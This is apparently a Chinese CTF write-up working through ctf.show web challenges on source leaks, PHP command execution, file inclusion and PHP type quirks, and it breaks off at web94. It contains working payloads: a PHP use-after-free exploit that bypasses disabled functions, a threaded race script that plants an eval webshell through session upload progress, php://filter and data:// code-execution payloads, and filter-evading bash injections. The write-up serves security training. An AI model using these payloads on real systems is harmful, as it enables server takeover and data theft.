----------信息搜集----------

源码泄露

查看源码即可
在这里插入图片描述

前台JS绕过

直接开发者工具查看源码
在这里插入图片描述
当然也可以抓包查看

也可以禁用js查看源码
在这里插入图片描述

协议头信息泄露

在这里插入图片描述
或者抓一下包也可

robots后台泄露

在这里插入图片描述
在这里插入图片描述

phps源码泄露

根据题目猜测输入index.phps
在这里插入图片描述
下载到一个index.phps打开得到flag
在这里插入图片描述

源码压缩包泄露

访问www.zip
在这里插入图片描述
没有flag,尝试访问fl000g.txt
在这里插入图片描述

版本控制泄露源码

Git是一个开源的分布式版本控制系统
git代码泄露,git上传代码会在目录创建隐藏文件夹.git
访问/.git/得flag

版本控制泄露源码2

SVN是subversion的缩写,是一个开放源代码的版本控制系统
访问/.svn/得flag

vim临时文件泄露

在这里插入图片描述
临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
访问/index.php.swp

cookie泄露

在这里插入图片描述

域名txt记录泄露

在这里插入图片描述
在线DNS域名解析

https://whois.chinaz.com/
----https://www.jsons.cn/nslookup/
https://zijian.aliyun.com/

在这里插入图片描述

敏感信息公布

直接访问robots.txt
在这里插入图片描述
在这里插入图片描述
要找到密码
在之前的页面最下面发现
在这里插入图片描述
登录即得flag

内部技术文档泄露

在这里插入图片描述
在这里插入图片描述
得到登录账号密码
访问http://385a2bff-ca1b-445d-9065-740157545c7c.challenge.ctf.show:8080/system1103/login.php
输入登录得flag

编辑器配置不当

在这里插入图片描述
在这里插入图片描述
打开图片上传,查看图片空间,一层一层找到flag的文件夹
在这里插入图片描述
访问/nothinghere/fl000g.txt得flag

密码逻辑脆弱

在这里插入图片描述

访问/admin
在这里插入图片描述
不知道账号密码,只好点击忘记密码
在这里插入图片描述
找QQ号在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
登录即得到flag

探针泄露

php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针 点击phpinfo
在这里插入图片描述
搜索ctfshow
在这里插入图片描述

CDN穿透

在这里插入图片描述
在这里插入图片描述

js敏感信息泄露

在这里插入图片描述
打开发现
在这里插入图片描述
去转换
在这里插入图片描述
访问/110.php得flag

前端密钥泄露

在这里插入图片描述
在这里插入图片描述

数据库恶意下载

在这里插入图片描述
url路径添加/db/db.mdb 下载文件
打开搜索得到flag

----------命令执行----------

web40

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

c的结果到黑洞了,没有显示

在这里插入图片描述
在这里插入图片描述

web55-56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

看p神博客 无字母数字提高篇
在这里插入图片描述

import requests

while True:
    url = "http://34ce7b1e-817f-45bc-bc3f-77fea7d24cbe.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break


web57

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

要得等于36
没过滤$,利用括号的数学运算
在这里插入图片描述
-37取反为36,即为

$((~$((-1+-1+-1+....))))

最后

?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

不清楚禁用了哪些函数,一个一个尝试
可以POST



c=print_r(scandir(current(localeconv())));
或者

c=show_source('flag.php');
c=highlight_file('flag.php');
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));

web59

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

show_sourse没有被禁用

c=show_source('flag.php');

或者POSTinclude函数

GET(?1=后面的由LFI->PHP wrapper Base64传入)
http://f9efd4da-93c5-4bba-8d9c-07d58679e553.challenge.ctf.show:8080/?1=php://filter/convert.base64-encode/resource=flag.php

POST
c=include($_GET[1]);

web60-65

c=show_source('flag.php');

web66

show_source终于被过了,highlight_file没被过滤,但是
在这里插入图片描述查看文件根目录

c=print_r(scandir('/'));

不把flag放在flag.php了
在这里插入图片描述

c=highlight_file('/flag.txt');

web67

这题相比于上题多过滤了print_r()函数,可以使用var_dump()函数代替

c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');

web68

在这里插入图片描述好家伙,这题把highlight_file()函数给ban了,看不到源码

c=var_dump(scandir('/'));
c=include('/flag.txt');

虽然把print_r()函数ban了,但是这题没有ban include,可以利用文件包含漏洞读取flag.txt

web69

在这里插入图片描述

c=include('flag.php');echo $flag;

在这里插入图片描述
php有以下几种读取目录的方式:

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

print_r和var_dump都被禁用了。使用后面几个都可以。

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}

在这里插入图片描述
在这里插入图片描述

web70

在这里插入图片描述

同web69

web71

在这里插入图片描述
忘记还有源码:

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

ob_get_contents():此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false 。
可以看到如果输出的是数字或者字母,就都变成?。
在这里插入图片描述

这里通过exit();使程序提前退出,绕过后面的正则表达式
在这里插入图片描述

c=include('/flag.txt');exit(0);

web72

在这里插入图片描述

c=$a="glob:///*.txt";
  if( $b = opendir($a)) {
    while(($file = readdir($b))!==false){
       echo "filename:".$file."\n";
      }
      closedir($b);
}
 exit();

在这里插入图片描述
群主大大提供的uaf

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

在这里插入图片描述

web73

在这里插入图片描述
在这里插入图片描述

web74

在这里插入图片描述
scandir被禁用,使用DirectoryIterator类

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $key=>$value){echo $key."=>".$value;};exit(0);?>

在这里插入图片描述
c=include(’/flagx.txt’);exit(0);

web75

在这里插入图片描述
open_basedir没有限制根目录,但限制了flag文件.
include()不行了,可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag,payload如下:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

同上

web77

在这里插入图片描述先读取目录:

在这里插入图片描述

在这里插入图片描述
使用POD读取flag36x.php但是失败了,根据提示使用PHP7.4以上才有的FFI进行命令执行

c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

readflag是专门用来读flag的。
然后访问/1.txt即可。

web118

在这里插入图片描述
题目附带的图片
在这里插入图片描述
过滤了好多东西

这题利用了bash的内置变量
在linux中可以用~获取变量的最后几位

1.$PATH 
用途:可执行文件的搜索路径。
用例:echo $PATH	通常是bin结尾
2. $PWD
用途:工作目录(你当前所在的目录)
用例:echo $PWD	题目环境中肯定是/var/www/html
而字母起到的作用是和0一样的
结合图片组合html的l和bin的n
所以${PATH:~A}${PWD:~A}就是nl

题目又说到flag in flag.php里,所以

${PATH:~A}${PWD:~A} ????.???

web119

在这里插入图片描述

${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}    =3
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} =tac
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???

web120

在这里插入图片描述
PD9waHAKJGZsYWc9ImN0ZnNob3d7YzBhNWEwOWUtYWJmOC00OGZjLWI5YzktNzJiNzE2MWU2M2Y0fSI7Cj8+
base64解码

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64 flag.php

web121

在这里插入图片描述
过滤了SHLVL,就要再找一个1
只好用#?
表示返回上一次的执行结果,执行结果为非正常为1,正常为0。
先传一个code=a,执行结果为非正常,即为1。

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

在这里插入图片描述

web122

相比上题过滤了pwd #
在这里插入图片描述

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
#pi和abs是数学函数中最短的
#base_convert(37907361743,10,36)="hex2bin"
#dechex(1598506324)="5f474554"
#hex2bin(5f474554)="_GET"
#$pi="_GET";$_GET{abs}($_GET{acos});&abs=system&acos=ls
#$pi="_GET";system(ls);

在这里插入图片描述

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php

在这里插入图片描述

----------文件包含----------

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

直接构造:?file=flag.php ,没有得到想要的结果,可能是被解析了,所以利用php伪协议
php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include()函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

所以最终的payload如下:

/?file=php://filter/convert.base64-encode/resource=flag.php

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
GET:?file=php://input
POST:<?php system("ls"); ?>
然后
POST:<?php system("cat flag.php"); ?>

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里有一个过滤,把php替换了

大小写绕过

GET:?file=Php://input
POST:<?php system("ls"); ?>
然后
POST:<?php system("cat flag.php"); ?>

data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

将<?php system("cat flag.php"); ?>编码得到PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=

构造:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTsgPz4=
然后查看源代码得到flag

web80


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了data
大小写加input绕过可行

日志文件包含

访问日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号无法包含其中,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。

访问日志的位置和文件名在不同的系统上会有所差异

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

在这里插入图片描述
在这里插入图片描述
当然用hackbar也可以
在这里插入图片描述

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

:被过滤了
只能用日志包含/?file=/var/log/nginx/access.log
过程和web80一样

web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了.不能通过文件包含来进行绕过
利用session.upload_progress进行文件包含
简而言之,我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp/var/lib/php/session

例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里。我们可以控制PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马,就可以达到命令注入的效果了。
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,也就是文件还没上传完的时候去包含session文件的内容(也就是一个木马),进而进行命令执行写出一个新的可以随时访问的木马文件。拿一个脚本来完成:

#-- coding:UTF-8 --

import io
import requests
import threading
url = 'http://c2f7b237-d72b-4215-b1c0-23d0a12375f9.challenge.ctf.show:8080/'
sessionid='ctfshow'
data={
    "1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}

def write(session):
    fileBytes=io.BytesIO(b'a' * 1024 * 50)
    while True:
        response=session.post(
            url,
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
            },
            cookies={
                'PHPSESSID':sessionid
            },
            files={
                'file':('ctfshow.jpg',fileBytes)
            }
        )
def read(session):
    while True:
        response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
                                cookies={
                                    'PHPSESSID':sessionid
                                }
                                )
        response2=session.get(url+'1.php')
        if response2.status_code==200:
            print('++++++++++++done++++++++++++')
        else:
            print(response2.status_code)

if __name__ == '__main__':
    evnet=threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()
    evnet.set()

在这里插入图片描述

web83-86

web83

session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

同web82

web84

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

加了一个rm -rf /tmp/*,但是我们是多线程的,可能前一个刚把/tmp/*给删了,并打算接着执行include($file),但是在这时另一个线程连接了进来,服务器为其又创建一个/tmp/sess_ctfshow,这样之前那么线程就可以include成功了。所以上面一题的脚本仍然可以成功。

web85

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

和上题一样,因为多线程的原因可以执行成功。不行的话可以多加几个线程。

web86

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

限制了include()和require()的路径,但是并不影响上一题的payload
平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找
所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。

以上题目都用web82的题解

web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

这题的重点就是绕过

file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

filter伪协议写入木马

php://filter/write=convert.base64-decode/resource=1.php

传入file,file会进行过滤以及urldecode(),所以传file时需要两次urlencode,这样可以绕过过滤(第一次解码是自动解码,此时字符串里面没有诸如php的字符,第二次解码是代码中的urldecode(),这时候恢复成正常的写过滤器。)

两次url编码

/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
对于一句话<?php eval($_POST[cmd])?>
base64编码后PD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
再在开头补两个a:content=aaPD9waHAgZXZhbCgkX1BPU1RbY21kXSk/Pg==
关于content,大佬的解释是原文中“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

在这里插入图片描述
在这里插入图片描述
base64解码得flag.

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了很多,但是没有过滤data

<?php system('cat fl0g.php'); ?>base64编码后得到PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4=
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

查看源码得flag

web116

打开以后是一个视频播放页面,提示是LFI,尝试直接本地文件包含:

/?file=/var/www/html/index.php

需要抓包,要不然会解析为流媒体文件
在这里插入图片描述
直接包含flag即可:

/?file=flag.php

在这里插入图片描述

web117

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

file_put_content和死亡·杂糅代码之缘
思路:使用过滤器写入一句话木马,这样在写入后进行过滤器指定的编码(解码)的过程中会把die()函数破坏掉,进而执行我们写入的木马。
在这里插入图片描述

payload:
/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

在这里插入图片描述
在这里插入图片描述

----------php特性----------

web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

preg_match()函数一个漏洞 无法处理数组

?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

对intval函数的绕过
在这里插入图片描述

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格
intval('4476a')===4476
?num=4476.0

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

i 不区分(ignore)大小写

m 多(more)行匹配 若存在换行n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配

这里的要求是,首先经过第一个正则匹配,匹配php并且进行多行匹配,然后第二个正则是匹配php,因此思路就是经过第一个匹配,不经过第二个匹配,payload:?cmd=%0aphp,第一个正则时通过换行通过匹配,第二个正则因为%0a不通过。

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

和90一样

web93


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

多了对字母的绕过,那换用8进制

?num=010574

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
